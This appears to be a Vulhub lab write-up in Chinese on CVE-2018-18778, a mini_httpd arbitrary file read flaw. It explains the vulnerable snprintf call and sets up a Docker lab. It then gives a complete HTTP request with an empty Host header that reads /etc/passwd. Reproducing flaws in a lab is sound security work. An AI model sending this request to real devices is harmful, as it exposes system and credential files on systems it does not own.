mini_httpd任意文件讀取漏洞(CVE-2018-18778)
Path mini_httpd/CVE-2018-18778
Mini_httpd是一個微型的Http服務器,在占用系統資源較小的情況下可以保持一定程度的性能(約為Apache的90%),因此廣泛被各類IOT(路由器,交換器,攝像頭等)作為嵌入式服務器。而包括華為,zyxel,海康威視,樹莓派等在內的廠商的旗下設備都曾采用Mini_httpd組件。
在mini_httpd開啟虛擬主機模式的情況下,用戶請求http://HOST/FILE將會訪問到當前目錄下的HOST/FILE文件。
(void) snprintf( vfile, sizeof(vfile), "%s/%s", req_hostname, f );
見上述代碼,分析如下:
- 當HOST=
example.com、FILE=index.html的時候,上述語句結果為example.com/index.html,文件正常讀取。 - 當HOST為空、FILE=
etc/passwd的時候,上述語句結果為/etc/passwd。
后者被作為絕對路徑,于是讀取到了/etc/passwd,造成任意文件讀取漏洞。
環境搭建
執行如下命令啟動mini_httpd 1.29:
docker-compose up -d
環境啟動后,訪問http://your-ip:8080即可看到Web頁面。
漏洞復現
發送請求是將Host置空,PATH的值是文件絕對路徑:
GET /etc/passwd HTTP/1.1
Host:
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
成功讀取文件:

Vulhub 文檔
推薦文章: